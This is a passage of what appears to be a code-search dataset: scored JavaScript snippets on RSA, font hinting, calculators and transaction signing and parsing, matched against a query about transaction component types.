RSADoPublic(x) {\n return x.modPowInt(this.e, this.n);\n}", "title": "" }, { "docid": "4b64671795abbc466ddb078b87ae923d", "score": "0.51958287", "text": "function RSADoPublic(x) {\n return x.modPowInt(this.e, this.n);\n}", "title": "" }, { "docid": "4b64671795abbc466ddb078b87ae923d", "score": "0.51958287", "text": "function RSADoPublic(x) {\n return x.modPowInt(this.e, this.n);\n}", "title": "" }, { "docid": "4b64671795abbc466ddb078b87ae923d", "score": "0.51958287", "text": "function RSADoPublic(x) {\n return x.modPowInt(this.e, this.n);\n}", "title": "" }, { "docid": "4b64671795abbc466ddb078b87ae923d", "score": "0.51958287", "text": "function RSADoPublic(x) {\n return x.modPowInt(this.e, this.n);\n}", "title": "" }, { "docid": "c639c40d3bb1b4d0acc28f713dc3091f", "score": "0.51927894", "text": "Asv(){\r\n return this.rebar(this.stirrupSize).A * this.stirrupLegs \r\n }", "title": "" }, { "docid": "bd6c9edad9f81bb4c2c9c2aaf4be0ca9", "score": "0.5187068", "text": "function R2D1(zero_index, board, pNode){\t// pNode is parentNode\n\tvar target = zero_index + 2 + 4;\n\tvar myName = \"R2D1\";\n\treturn nodeComputer(target, zero_index, board, pNode, myName);\n}", "title": "" }, { "docid": "81b5cf7c3fe6b8cfd3e11cc6a360d51e", "score": "0.51846725", "text": "function getPazymiuVidurkis2(x1,x2,x3,x4,x5){\n var atsakymas=(x1 + x2 + x3 + x4 + x5)/5;\n return atsakymas;\n}", "title": "" }, { "docid": "90c3834249cb742af315193a46e2244c", "score": "0.5170887", "text": "function R0fun(xt){\n return (n0*xt<nxt1) ? R01 : \n (n0*xt<nxt2) ? R02 :\n (n0*xt<nxt3) ? R03 :\n (n0*xt<nxtR0) ? R04 : R0; // R0 controlled by sliders\n}", "title": "" }, { "docid": "8e7848d732968271031356f105ce8ad3", "score": "0.5166916", "text": "function irrp(salaire){\n let impot = null\n console.log(salaire)\n if(salaire <= 10064){\n impot = 0\n }\n if(salaire >=10065 && salaire<= 25659){\n impot = ((salaire-10065)*11)/100\n }\n if(salaire >= 25660 && salaire <= 73369){\n impot = ((25659 - 10065)*11/100)\n impot += ((salaire - 25660)*30)/100\n }\n if(salaire >=73370 && salaire <= 157806){\n impot = ((25659 - 10065)*11/100)\n impot += ((73369 - 25660)*30)/100\n impot += ((salaire - 73369)*41)/100\n }\n if(salaire >= 157807){\n impot = ((25659 - 10065)*11/100)\n impot += ((73369 - 25660)*30)/100\n impot += ((157806 - 73369)*41)/100\n impot += ((salaire - 157506)*45)/100\n }\n impot= Math.floor(impot)\n return impot\n}", "title": "" }, { "docid": "c54dc7fa047dad90d33e229dd4fad6f4", "score": "0.5164083", "text": "function pCalc(pmt, r, n) {\r\n pmt = document.getElementById(\"getPMTValue\").value;\r\n r = document.getElementById(\"getRValue\").value;\r\n n = document.getElementById(\"getNValue\").value; \r\n \r\n var result4 = (pmt) * ((1 - (1/(1+r)**n)) / r);\r\n /* using formula off pdf sheet var res = (pmt *\t((1\t- (1\t/\t(1\t+\tr)**n))\t/\tr))\t*\t(1+r); */\r\n document.getElementById(\"outputP\").innerHTML = \"P equals : \" + result4;\r\n}", "title": "" }, { "docid": "b7124220c1fe2da6c0dd175d759ba46c", "score": "0.5155903", "text": "function SRP1(state) {\n state.rp1 = state.stack.pop();\n\n if (exports.DEBUG) console.log(state.step, 'SRP1[]', state.rp1);\n }", "title": "" }, { "docid": "37e1743b34602e6ca86a352441e53935", "score": "0.51500934", "text": "function R_PHA() { // b7 zp:b6\n LDXZ('rp'),STAAX('S'),DECZ('rp'); // push\n}", "title": "" }, { "docid": "66faa07e44335ea3f270dedb0c33787d", "score": "0.512948", "text": "function atspausdina (p1,p2,zin) {\n p1 = 4.5;\n p2 = 0;\n zin = \"geras lankomumas\";\n console.log(p1,p2,zin);\n}", "title": "" }, { "docid": "e16c17946180f8d592aee54ea9b772b1", "score": "0.512563", "text": "function traj1_x(u){\n var dxPhysFromCenter=(u<uc1) ? x01-u : xc1-r1*Math.sin((u-uc1)/r1);\n return center_xPhys+dxPhysFromCenter;\n}", "title": "" }, { "docid": "ef4223b2cdab2a1ea03d0d37ba9994da", "score": "0.5119571", "text": "getXr() {\n return this.x * 100 + 100-20;\n }", "title": "" }, { "docid": "61ab74a1c6835399a2e89ad20f0d503b", "score": "0.51141185", "text": "function traj7_x(u){\n return -traj3_x(u)+2*center_xPhys;;\n}", "title": "" }, { "docid": "69f5e743196c2b2dd7bf30b4e26ad605", "score": "0.51136225", "text": "function Xr(t) {\n return ku.nw(t, pu.store);\n}", "title": "" }, { "docid": "221b3d3bc2153fd51a2ee21c7be8d815", "score": "0.5112855", "text": "function getPazymiuVidurkis2(x1, x2, x3, x4, x5) {\n var vidurkis = (x1 + x2 + x3 + x4 + x5) / 5;\n return vidurkis;\n}", "title": "" }, { "docid": "fef0dc722e1393c4f0f870cf9dc327da", "score": "0.51124537", "text": "function SRP1(state) {\n state.rp1 = state.stack.pop();\n\n if (exports.DEBUG) { console.log(state.step, 'SRP1[]', state.rp1); }\n}", "title": "" }, { "docid": "fef0dc722e1393c4f0f870cf9dc327da", "score": "0.51124537", "text": "function SRP1(state) {\n state.rp1 = state.stack.pop();\n\n if (exports.DEBUG) { console.log(state.step, 'SRP1[]', state.rp1); }\n}", "title": "" }, { "docid": "ef8f43cbfe24463baabe4ab2d09dfd8f", "score": "0.510945", "text": "function prs(a){\n var l = gres(psecn(a));\n if (nilp(cdr(l)))return car(l);\n return cons(sy(\"do\"), l);\n }", "title": "" }, { "docid": "df9b7696b4b495fa86ea90e20b614c05", "score": "0.5104777", "text": "function pen_res_PbW (b1, w1){\n//come back to this mathematics after you have refactored pinball physics and update ##### \n let penVect = b1.pos.subtr(closestPointPbW(b1, w1));\n b1.pos = b1.pos.add(penVect.unit().mult(b1.r-penVect.mag()));\n\n}", "title": "" }, { "docid": "4f8b61723248985ee470b8d718c44da7", "score": "0.5102343", "text": "function U(l,m,n,R_1,R_lm1) {\n \n return P(0,l,m,n,R_1,R_lm1);\n}", "title": "" }, { "docid": "c63ad821c59430f976e7b7a7a1169423", "score": "0.51018757", "text": "function\nXATS2JS_optn_vt_cons(a1x1)\n{\nlet xtmp55;\n;\n{\nxtmp55 = [1, a1x1];\n}\n;\nreturn xtmp55;\n} // function // XATS2JS_optn_vt_cons(14)", "title": "" }, { "docid": "c63ad821c59430f976e7b7a7a1169423", "score": "0.51018757", "text": "function\nXATS2JS_optn_vt_cons(a1x1)\n{\nlet xtmp55;\n;\n{\nxtmp55 = [1, a1x1];\n}\n;\nreturn xtmp55;\n} // function // XATS2JS_optn_vt_cons(14)", "title": "" }, { "docid": "6aa8b281fec36753bf28f4a9d15955e1", "score": "0.50955075", "text": "function sukeistiMasyvo2elementus(nr1 , nr2 ) {\nvar x = prekybosCentrai[ nr1 ] ;\n\nprekybosCentrai[ nr1 ] = prekybosCentrai[ nr2 ] ;\nprekybosCentrai[ nr2 ] = x ;\n}", "title": "" }, { "docid": "1dadb3754f6fbfbfb46d0aadae890b0e", "score": "0.5092515", "text": "function roof_volume(w,d,s){\n let rvolume=w*ara_triangle(s,d,s);\n \n return rvolume;\n}", "title": "" }, { "docid": "001a21601d9f6213965e0839f90cf165", "score": "0.5080407", "text": "function MSIRP(a, state) {\n var stack = state.stack;\n var d = stack.pop() / 64;\n var pi = stack.pop();\n var p = state.z1[pi];\n var rp0 = state.z0[state.rp0];\n var fv = state.fv;\n var pv = state.pv;\n\n fv.setRelative(p, rp0, d, pv);\n fv.touch(p);\n\n if (exports.DEBUG) { console.log(state.step, 'MSIRP[' + a + ']', d, pi); }\n\n state.rp1 = state.rp0;\n state.rp2 = pi;\n if (a) { state.rp0 = pi; }\n}", "title": "" }, { "docid": "001a21601d9f6213965e0839f90cf165", "score": "0.5080407", "text": "function MSIRP(a, state) {\n var stack = state.stack;\n var d = stack.pop() / 64;\n var pi = stack.pop();\n var p = state.z1[pi];\n var rp0 = state.z0[state.rp0];\n var fv = state.fv;\n var pv = state.pv;\n\n fv.setRelative(p, rp0, d, pv);\n fv.touch(p);\n\n if (exports.DEBUG) { console.log(state.step, 'MSIRP[' + a + ']', d, pi); }\n\n state.rp1 = state.rp0;\n state.rp2 = pi;\n if (a) { state.rp0 = pi; }\n}", "title": "" }, { "docid": "2ca483726ebc0f233b3569d631f451da", "score": "0.5072518", "text": "function RSADoPublic(x) {\n return x.modPowInt(this.e, this.n);\n }", "title": "" }, { "docid": "4ec28438a4b5ba12a67896bc836c297f", "score": "0.5064051", "text": "function crsmark(a)\r\n{\r\n//It calls function crsmark and parameter a.\r\nlet exm = avg(2)*(a/100)\r\n//It calls variable exm to be equal to the values of avg multipled by a divided by 100.\r\n return exm\r\n}", "title": "" }, { "docid": "0bfa150bff327ad4c50f70f40a9cf03e", "score": "0.5047675", "text": "function armCaracterVetor1(inputCPF){\n var caracteres = [];\n for(var i=0; i<9; i++){\n caracteres[i] = inputCPF[i];\n }\n return calcPrimeiroDigito(caracteres);\n \n}", "title": "" }, { "docid": "5c1a840ab781dd72ae4cb0e4e18cdd91", "score": "0.5039349", "text": "function flipper(param1, param2) {\n // 2 and 9: a return value is generated\n return param2 + param1;\n // 3 and 10: global result variable is declared & assigned\n}", "title": "" }, { "docid": "bd702c0317072b383f0698278617a9ab", "score": "0.50346273", "text": "function pazymiuVidurkis1(x1, zzz, x3, x4, x5) {\n let ats = (x1 + zzz + x3 + x4 + x5) / 5;\n console.log( \"Vidurkis \" + ats );\n}", "title": "" }, { "docid": "a69fbdfcf28cff5923841f26de9ae05d", "score": "0.503284", "text": "function MSIRP(a, state) {\n const stack = state.stack;\n const d = stack.pop() / 64;\n const pi = stack.pop();\n const p = state.z1[pi];\n const rp0 = state.z0[state.rp0];\n const fv = state.fv;\n const pv = state.pv;\n\n fv.setRelative(p, rp0, d, pv);\n fv.touch(p);\n\n if (exports.DEBUG) console.log(state.step, 'MSIRP[' + a + ']', d, pi);\n\n state.rp1 = state.rp0;\n state.rp2 = pi;\n if (a) state.rp0 = pi;\n }", "title": "" }, { "docid": "152d7e8a83b3d5cb306c64baea7b393e", "score": "0.50250214", "text": "function calculRAP(nap = null, assurance = null, acompte = null){\r\n var resultat = nap - assurance - acompte;\r\n\r\n return resultat;\r\n}", "title": "" }, { "docid": "58a59721590bdf7804ccd76fa732c4ce", "score": "0.5024156", "text": "function firstRock(){\n return allRocks()[0];\n}", "title": "" }, { "docid": "52cf79498d3efaf12e28794a3d47aa0e", "score": "0.5017224", "text": "function gallina(){\r\n\treturn huevo();\r\n}", "title": "" }, { "docid": "04bd44d02aac3f880e7cfc8660dad350", "score": "0.5012497", "text": "function pazymiuVidurkis() {\n var x1 = 1;\n var x2 = 10;\n var x3 = 8;\n var x4 = 6;\n var x5 = 8;\n var vidurkis = (x1 + x2 + x3 + x4 + x5) / 5;\n console.log( \"vidurkis1: \" + vidurkis );\n}", "title": "" }, { "docid": "da543b42861bda99a134f49ebdef22d9", "score": "0.500816", "text": "function pi() {\n return 3.14;\n}", "title": "" }, { "docid": "14584d0477ddf6d2a171c912c0248808", "score": "0.5001797", "text": "function yFirstPowerSupply()\n{\n return YPowerSupply.FirstPowerSupply();\n}", "title": "" }, { "docid": "90e7d54f3d57ae8e1027980837bb3cba", "score": "0.4994289", "text": "function traj5_x(u){\n return -traj1_x(u)+2*center_xPhys;;\n}", "title": "" }, { "docid": "e86e474943a7d5998fd648a73f07e1f4", "score": "0.49910605", "text": "x1() {\n return this.x - this.boundary;\n }", "title": "" }, { "docid": "ede8573628e72bb8bf3c5fdaa9527019", "score": "0.49845627", "text": "function turnp1() {\n p1turn = true;\n}", "title": "" }, { "docid": "afdb56c4a38e16bcd9b83d260a573d74", "score": "0.49825314", "text": "x2() {\n return this.x + this.boundary;\n }", "title": "" }, { "docid": "146c77adfa615132f225937627a44c0c", "score": "0.4976581", "text": "function firstRock() {\n return allRocks()[0];\n}", "title": "" }, { "docid": "862e29600650208d357594e413f3222f", "score": "0.49724618", "text": "function\nXATS2JS_strmcon_vt_cons(a1x1, a1x2)\n{\nlet xtmp76;\n;\n;\n{\nxtmp76 = [1, a1x1, a1x2];\n}\n;\nreturn xtmp76;\n} // function // XATS2JS_strmcon_vt_cons(20)", "title": "" }, { "docid": "862e29600650208d357594e413f3222f", "score": "0.49724618", "text": "function\nXATS2JS_strmcon_vt_cons(a1x1, a1x2)\n{\nlet xtmp76;\n;\n;\n{\nxtmp76 = [1, a1x1, a1x2];\n}\n;\nreturn xtmp76;\n} // function // XATS2JS_strmcon_vt_cons(20)", "title": "" } ]
659338163eca893feb51c06374c0fe0c
TX_FULL = 0, TX_HEADER = 1, TX_PREVOUTSEQ = 2, // prev out and sequence TX_SIGNATURE = 3, TX_OUTPUT = 4, TX_SHIELDEDSPEND = 5, TX_SHIELDEDOUTPUT = 6
[ { "docid": "bb391a6a26cbed81a4ab880b844ec222", "score": "0.5187389", "text": "function getPartialTransaction(proof){\n\n //foreach component hash the elVchObj then check that against the elProof\n let checkOk = true;\n let isPartial = true;\n let outTX = {};\n let txRoot = null;\n if(proof.components.length){\n let txHeader = deSerializeTransactionHeader(proof.components[0].elVchObj);\n let mtx = tHeaderToCMT(txHeader);\n console.log(proof.components[0].elVchObj.toString('hex'));\n txRoot = checkProof(proof.components[0]);\n console.log(\"txRoot:\",txRoot.toString('hex'));\n if(proof.components[0].elType == 1 && txHeader){\n for(let i = 1; i < proof.components.length; i++){\n let proofHash = checkProof(proof.components[i])\n if( Buffer.compare(proofHash,txRoot) != 0){\n console.log('proofHash:',proofHash.toString('hex'),'txRoot:',txRoot.toString('hex'));\n checkOk = false;\n break;\n } else {\n switch (proof.components[i].elType){\n //TX_PREVOUTSEQ\n case 2 :\n console.log(\"case 2\");\n break;\n //TX_SIGNATURE\n case 3 : \n if(txHeader.nVins > proof.components[i].elIdx){\n mtx.vin[proof.components[i].elIdx] = proof.components[i].elVchObj\n } else {\n checkOk = false;\n }\n break;\n //TX_OUTPUT\n case 4 : \n //the elVchObj is a vout\n if(txHeader.nVouts > proof.components[i].elIdx){\n mtx.vout[proof.components[i].elIdx] = proof.components[i].elVchObj\n } else {\n checkOk = false;\n }\n break;\n //TX_SHIELDEDSPEND\n case 5:\n if(txHeader.vShieldedSpend > proof.components[i].elIdx){\n mtx.vShieldedSpend[proof.components[i].elIdx] = proof.components[i].elVchObj\n } else {\n checkOk = false;\n }\n break;\n case 6: \n if(txHeader.vShieldedOutput > proof.components[i].elIdx){\n mtx.vShieldedOutput[proof.components[i].elIdx] = proof.components[i].elVchObj\n } else {\n checkOk = false;\n }\n break;\n default:\n break;\n\n }\n } \n }\n console.log(\"txRoot:\",txRoot);\n if(checkOk && txRoot){\n outTX = mtx;\n } else {\n txRoot = null;\n }\n } else if(proof.components[0].elType == 0){\n isPartial = false;\n txRoot = blake2BHash(proof.components[0].elVchObj);\n }\n }\n\n return {status: checkOk,root: txRoot, tx: outTX};\n}", "title": "" } ]
[ { "docid": "7ad88968a3f6e2a025df9999977f0e5e", "score": "0.55105734", "text": "function Tx(a,c){this.g=[];this.v=a;this.I=c||null;this.f=this.b=!1;this.c=void 0;this.A=this.G=this.i=!1;this.j=0;this.a=null;this.l=0}", "title": "" }, { "docid": "ee4b79a6fd6f38889f2d30e59e05cdd9", "score": "0.5343597", "text": "function TXA() {\n\t\t\t\t\twriteA(X);\n\t\t\t\t\tflagN = (A & 0x80) && 1;\n\t\t\t\t\tflagZ = +(A === 0);\n\t\t\t\t}", "title": "" }, { "docid": "5a09109b354e7fd44e04b6784f73cd4a", "score": "0.5220711", "text": "signTransaction(path, rawTxHex) {\n let paths = (0, _utils.splitPath)(path);\n let offset = 0;\n let rawTx = Buffer.from(rawTxHex, \"hex\");\n let toSend = [];\n let response; // Check if the TX is encoded following EIP 155\n\n let rlpTx = (0, _rlp.decode)(rawTx);\n let rlpOffset = 0;\n let chainIdPrefix = \"\";\n\n if (rlpTx.length > 6) {\n let rlpVrs = (0, _rlp.encode)(rlpTx.slice(-3));\n rlpOffset = rawTx.length - (rlpVrs.length - 1);\n const chainIdSrc = rlpTx[6];\n const chainIdBuf = Buffer.alloc(4);\n chainIdSrc.copy(chainIdBuf, 4 - chainIdSrc.length);\n chainIdPrefix = (chainIdBuf.readUInt32BE(0) * 2 + 35).toString(16).slice(0, -2); // Drop the low byte, that comes from the ledger.\n\n if (chainIdPrefix.length % 2 === 1) {\n chainIdPrefix = \"0\" + chainIdPrefix;\n }\n }\n\n while (offset !== rawTx.length) {\n let maxChunkSize = offset === 0 ? 150 - 1 - paths.length * 4 : 150;\n let chunkSize = offset + maxChunkSize > rawTx.length ? rawTx.length - offset : maxChunkSize;\n\n if (rlpOffset != 0 && offset + chunkSize == rlpOffset) {\n // Make sure that the chunk doesn't end right on the EIP 155 marker if set\n chunkSize--;\n }\n\n let buffer = Buffer.alloc(offset === 0 ? 1 + paths.length * 4 + chunkSize : chunkSize);\n\n if (offset === 0) {\n buffer[0] = paths.length;\n paths.forEach((element, index) => {\n buffer.writeUInt32BE(element, 1 + 4 * index);\n });\n rawTx.copy(buffer, 1 + 4 * paths.length, offset, offset + chunkSize);\n } else {\n rawTx.copy(buffer, 0, offset, offset + chunkSize);\n }\n\n toSend.push(buffer);\n offset += chunkSize;\n }\n\n return (0, _utils.foreach)(toSend, (data, i) => this.transport.send(0xe0, 0x04, i === 0 ? 0x00 : 0x80, 0x00, data).then(apduResponse => {\n response = apduResponse;\n })).then(() => {\n const v = chainIdPrefix + response.slice(0, 1).toString(\"hex\");\n const r = response.slice(1, 1 + 32).toString(\"hex\");\n const s = response.slice(1 + 32, 1 + 32 + 32).toString(\"hex\");\n return {\n v,\n r,\n s\n };\n }, e => {\n throw remapTransactionRelatedErrors(e);\n });\n }", "title": "" }, { "docid": "80379591b74592df8afba816723f2368", "score": "0.5199563", "text": "signTransaction(path, rawTxHex) {\n let paths = (0, _utils.splitPath)(path);\n let offset = 0;\n let rawTx = Buffer.from(rawTxHex, \"hex\");\n let toSend = [];\n let response; // Check if the TX is encoded following EIP 155\n\n let rlpTx = (0, _rlp.decode)(rawTx);\n let rlpOffset = 0;\n let chainIdPrefix = \"\";\n\n if (rlpTx.length > 6) {\n let rlpVrs = (0, _rlp.encode)(rlpTx.slice(-3));\n rlpOffset = rawTx.length - (rlpVrs.length - 1);\n const chainIdSrc = rlpTx[6];\n const chainIdBuf = Buffer.alloc(4);\n chainIdSrc.copy(chainIdBuf, 4 - chainIdSrc.length);\n chainIdPrefix = (chainIdBuf.readUInt32BE(0) * 2).toString(16).slice(0, -2); // Drop the low byte, that comes from the ledger.\n\n if (chainIdPrefix.length % 2 === 1) {\n chainIdPrefix = \"0\" + chainIdPrefix;\n }\n }\n\n while (offset !== rawTx.length) {\n let maxChunkSize = offset === 0 ? 150 - 1 - paths.length * 4 : 150;\n let chunkSize = offset + maxChunkSize > rawTx.length ? rawTx.length - offset : maxChunkSize;\n\n if (rlpOffset != 0 && offset + chunkSize == rlpOffset) {\n // Make sure that the chunk doesn't end right on the EIP 155 marker if set\n chunkSize--;\n }\n\n let buffer = Buffer.alloc(offset === 0 ? 1 + paths.length * 4 + chunkSize : chunkSize);\n\n if (offset === 0) {\n buffer[0] = paths.length;\n paths.forEach((element, index) => {\n buffer.writeUInt32BE(element, 1 + 4 * index);\n });\n rawTx.copy(buffer, 1 + 4 * paths.length, offset, offset + chunkSize);\n } else {\n rawTx.copy(buffer, 0, offset, offset + chunkSize);\n }\n\n toSend.push(buffer);\n offset += chunkSize;\n }\n\n return (0, _utils.foreach)(toSend, (data, i) => this.transport.send(0xe0, 0x04, i === 0 ? 0x00 : 0x80, 0x00, data).then(apduResponse => {\n response = apduResponse;\n })).then(() => {\n const v = chainIdPrefix + response.slice(0, 1).toString(\"hex\");\n const r = response.slice(1, 1 + 32).toString(\"hex\");\n const s = response.slice(1 + 32, 1 + 32 + 32).toString(\"hex\");\n return {\n v,\n r,\n s\n };\n }, e => {\n throw remapTransactionRelatedErrors(e);\n });\n }", "title": "" }, { "docid": "b27041eba23b1aadf66e960a18b0a13e", "score": "0.51431084", "text": "function print_observe_tx(value) {\n console.log(\"OBSERVE_TX=\" + value + \": POLS_CNT=\" + (value >> consts.PLOS_CNT) & parseInt('1111', 2) + \" ARC_CNT=\" + (value >> consts.ARC_CNT) & parseInt('1111', 2));\n\n\n }", "title": "" }, { "docid": "5126f46c3e16a737628a25dcf8ad8e40", "score": "0.5124345", "text": "signTransaction(path, rawTxHex) {\n let paths = (0, _utils.splitPath)(path);\n let offset = 0;\n let rawTx = Buffer.from(rawTxHex, \"hex\");\n let toSend = [];\n let response; // Check if the TX is encoded following EIP 155\n\n let rlpTx = (0, _rlp.decode)(rawTx);\n let rlpOffset = 0;\n\n if (rlpTx.length > 6) {\n let rlpVrs = (0, _rlp.encode)(rlpTx.slice(-3));\n rlpOffset = rawTx.length - (rlpVrs.length - 1);\n }\n\n while (offset !== rawTx.length) {\n let maxChunkSize = offset === 0 ? 150 - 1 - paths.length * 4 : 150;\n let chunkSize = offset + maxChunkSize > rawTx.length ? rawTx.length - offset : maxChunkSize;\n\n if (rlpOffset != 0 && offset + chunkSize == rlpOffset) {\n // Make sure that the chunk doesn't end right on the EIP 155 marker if set\n chunkSize--;\n }\n\n let buffer = Buffer.alloc(offset === 0 ? 1 + paths.length * 4 + chunkSize : chunkSize);\n\n if (offset === 0) {\n buffer[0] = paths.length;\n paths.forEach((element, index) => {\n buffer.writeUInt32BE(element, 1 + 4 * index);\n });\n rawTx.copy(buffer, 1 + 4 * paths.length, offset, offset + chunkSize);\n } else {\n rawTx.copy(buffer, 0, offset, offset + chunkSize);\n }\n\n toSend.push(buffer);\n offset += chunkSize;\n }\n\n return (0, _utils.foreach)(toSend, (data, i) => this.transport.send(0xe0, 0x04, i === 0 ? 0x00 : 0x80, 0x00, data).then(apduResponse => {\n response = apduResponse;\n })).then(() => {\n const v = response.slice(0, 1).toString(\"hex\");\n const r = response.slice(1, 1 + 32).toString(\"hex\");\n const s = response.slice(1 + 32, 1 + 32 + 32).toString(\"hex\");\n return {\n v,\n r,\n s\n };\n }, e => {\n throw remapTransactionRelatedErrors(e);\n });\n }", "title": "" }, { "docid": "37c3ce21c3beffd8809e4d63af18a1bd", "score": "0.5110453", "text": "handleRequest (payload, next, end) {\n let txData\n switch (payload.method) {\n case 'generate_transaction':\n if (payload.txData) {\n txData = payload.txData\n } else {\n txData = payload.params[0]\n }\n try {\n var genTxWithInfo = (error, data) => {\n // if(error) throw error\n console.log(\"genTxWithInfo\", data); // todo remove dev item\n var rawTx = {\n nonce: sanitizeHex(data.nonce),\n gasPrice: data.isOffline ? sanitizeHex(data.gasprice) : sanitizeHex(addTinyMoreToGas(data.gasprice)),\n gasLimit: txData.gasLimit ? sanitizeHex(decimalToHex(txData.gasLimit)) : sanitizeHex(decimalToHex(txData.gas)),\n to: sanitizeHex(txData.to),\n value: sanitizeHex(decimalToHex(toWei(txData.value, txData.unit))),\n data: txData.data ? sanitizeHex(txData.data) : ''\n }\n if (this.engine.network.eip155) rawTx.chainId = this.engine.network.chainId\n rawTx.data = rawTx.data === '' ? '0x' : rawTx.data\n // var eTx = new EthTx(rawTx)\n\n this.emitPayload({\n id: payload.id,\n method: 'sign_tx',\n params: [rawTx]\n }, end)\n }\n\n if (txData.nonce || txData.gasPrice) {\n var data = {\n nonce: txData.nonce,\n gasprice: txData.gasPrice\n }\n data.isOffline = txData.isOffline ? txData.isOffline : false\n genTxWithInfo(null, data)\n } else {\n this.emitIntermediate({\n type: \"batch\",\n balance: {\n 'id': getRandomBytes(16).toString('hex'),\n 'jsonrpc': '2.0',\n 'method': 'eth_getBalance',\n 'params': [txData.from, 'pending']\n },\n gasprice: {\n 'id': getRandomBytes(16).toString('hex'),\n 'jsonrpc': '2.0',\n 'method': 'eth_gasPrice',\n 'params': []\n },\n nonce: {\n 'id': getRandomBytes(16).toString('hex'),\n 'jsonrpc': '2.0',\n 'method': 'eth_getTransactionCount',\n 'params': [txData.from, 'pending']\n }\n }, genTxWithInfo)\n // ajaxReq.getTransactionData(txData.from, function(data) {\n // if (data.error && callback !== undefined) {\n // callback({\n // isError: true,\n // error: e\n // });\n // } else {\n // data = data.data;\n // data.isOffline = txData.isOffline ? txData.isOffline : false;\n // genTxWithInfo(data);\n // }\n // });\n }\n } catch (e) {\n if (end !== undefined) {\n end({\n isError: true,\n error: e\n })\n }\n }\n\n return\n default:\n next()\n return\n }\n }", "title": "" }, { "docid": "1d1ccb9e96d4089fe1bf8c0a78b2fbd3", "score": "0.5002821", "text": "function parse_TxO(blob, length, opts) {\n\tvar s = blob.l;\ntry {\n\tblob.l += 4;\n\tvar ot = (opts.lastobj||{cmo:[0,0]}).cmo[1];\n\tvar controlInfo;\n\tif([0,5,7,11,12,14].indexOf(ot) == -1) blob.l += 6;\n\telse controlInfo = parse_ControlInfo(blob, 6, opts);\n\tvar cchText = blob.read_shift(2);\n\tvar cbRuns = blob.read_shift(2);\n\tvar ifntEmpty = parse_FontIndex(blob, 2);\n\tvar len = blob.read_shift(2);\n\tblob.l += len;\n\t//var fmla = parse_ObjFmla(blob, s + length - blob.l);\n\n\tvar texts = \"\";\n\tfor(var i = 1; i < blob.lens.length-1; ++i) {\n\t\tif(blob.l-s != blob.lens[i]) throw \"TxO: bad continue record\";\n\t\tvar hdr = blob[blob.l];\n\t\tvar t = parse_XLUnicodeStringNoCch(blob, blob.lens[i+1]-blob.lens[i]-1);\n\t\ttexts += t;\n\t\tif(texts.length >= (hdr ? cchText : 2*cchText)) break;\n\t}\n\tif(texts.length !== cchText && texts.length !== cchText*2) {\n\t\tthrow \"cchText: \" + cchText + \" != \" + texts.length;\n\t}\n\n\tblob.l = s + length;\n\t/* 2.5.272 TxORuns */\n//\tvar rgTxoRuns = [];\n//\tfor(var j = 0; j != cbRuns/8-1; ++j) blob.l += 8;\n//\tvar cchText2 = blob.read_shift(2);\n//\tif(cchText2 !== cchText) throw \"TxOLastRun mismatch: \" + cchText2 + \" \" + cchText;\n//\tblob.l += 6;\n//\tif(s + length != blob.l) throw \"TxO \" + (s + length) + \", at \" + blob.l;\n\treturn { t: texts };\n} catch(e) { blob.l = s + length; return { t: texts||\"\" }; }\n}", "title": "" }, { "docid": "1d1ccb9e96d4089fe1bf8c0a78b2fbd3", "score": "0.5002821", "text": "function parse_TxO(blob, length, opts) {\n\tvar s = blob.l;\ntry {\n\tblob.l += 4;\n\tvar ot = (opts.lastobj||{cmo:[0,0]}).cmo[1];\n\tvar controlInfo;\n\tif([0,5,7,11,12,14].indexOf(ot) == -1) blob.l += 6;\n\telse controlInfo = parse_ControlInfo(blob, 6, opts);\n\tvar cchText = blob.read_shift(2);\n\tvar cbRuns = blob.read_shift(2);\n\tvar ifntEmpty = parse_FontIndex(blob, 2);\n\tvar len = blob.read_shift(2);\n\tblob.l += len;\n\t//var fmla = parse_ObjFmla(blob, s + length - blob.l);\n\n\tvar texts = \"\";\n\tfor(var i = 1; i < blob.lens.length-1; ++i) {\n\t\tif(blob.l-s != blob.lens[i]) throw \"TxO: bad continue record\";\n\t\tvar hdr = blob[blob.l];\n\t\tvar t = parse_XLUnicodeStringNoCch(blob, blob.lens[i+1]-blob.lens[i]-1);\n\t\ttexts += t;\n\t\tif(texts.length >= (hdr ? cchText : 2*cchText)) break;\n\t}\n\tif(texts.length !== cchText && texts.length !== cchText*2) {\n\t\tthrow \"cchText: \" + cchText + \" != \" + texts.length;\n\t}\n\n\tblob.l = s + length;\n\t/* 2.5.272 TxORuns */\n//\tvar rgTxoRuns = [];\n//\tfor(var j = 0; j != cbRuns/8-1; ++j) blob.l += 8;\n//\tvar cchText2 = blob.read_shift(2);\n//\tif(cchText2 !== cchText) throw \"TxOLastRun mismatch: \" + cchText2 + \" \" + cchText;\n//\tblob.l += 6;\n//\tif(s + length != blob.l) throw \"TxO \" + (s + length) + \", at \" + blob.l;\n\treturn { t: texts };\n} catch(e) { blob.l = s + length; return { t: texts||\"\" }; }\n}", "title": "" }, { "docid": "1d1ccb9e96d4089fe1bf8c0a78b2fbd3", "score": "0.5002821", "text": "function parse_TxO(blob, length, opts) {\n\tvar s = blob.l;\ntry {\n\tblob.l += 4;\n\tvar ot = (opts.lastobj||{cmo:[0,0]}).cmo[1];\n\tvar controlInfo;\n\tif([0,5,7,11,12,14].indexOf(ot) == -1) blob.l += 6;\n\telse controlInfo = parse_ControlInfo(blob, 6, opts);\n\tvar cchText = blob.read_shift(2);\n\tvar cbRuns = blob.read_shift(2);\n\tvar ifntEmpty = parse_FontIndex(blob, 2);\n\tvar len = blob.read_shift(2);\n\tblob.l += len;\n\t//var fmla = parse_ObjFmla(blob, s + length - blob.l);\n\n\tvar texts = \"\";\n\tfor(var i = 1; i < blob.lens.length-1; ++i) {\n\t\tif(blob.l-s != blob.lens[i]) throw \"TxO: bad continue record\";\n\t\tvar hdr = blob[blob.l];\n\t\tvar t = parse_XLUnicodeStringNoCch(blob, blob.lens[i+1]-blob.lens[i]-1);\n\t\ttexts += t;\n\t\tif(texts.length >= (hdr ? cchText : 2*cchText)) break;\n\t}\n\tif(texts.length !== cchText && texts.length !== cchText*2) {\n\t\tthrow \"cchText: \" + cchText + \" != \" + texts.length;\n\t}\n\n\tblob.l = s + length;\n\t/* 2.5.272 TxORuns */\n//\tvar rgTxoRuns = [];\n//\tfor(var j = 0; j != cbRuns/8-1; ++j) blob.l += 8;\n//\tvar cchText2 = blob.read_shift(2);\n//\tif(cchText2 !== cchText) throw \"TxOLastRun mismatch: \" + cchText2 + \" \" + cchText;\n//\tblob.l += 6;\n//\tif(s + length != blob.l) throw \"TxO \" + (s + length) + \", at \" + blob.l;\n\treturn { t: texts };\n} 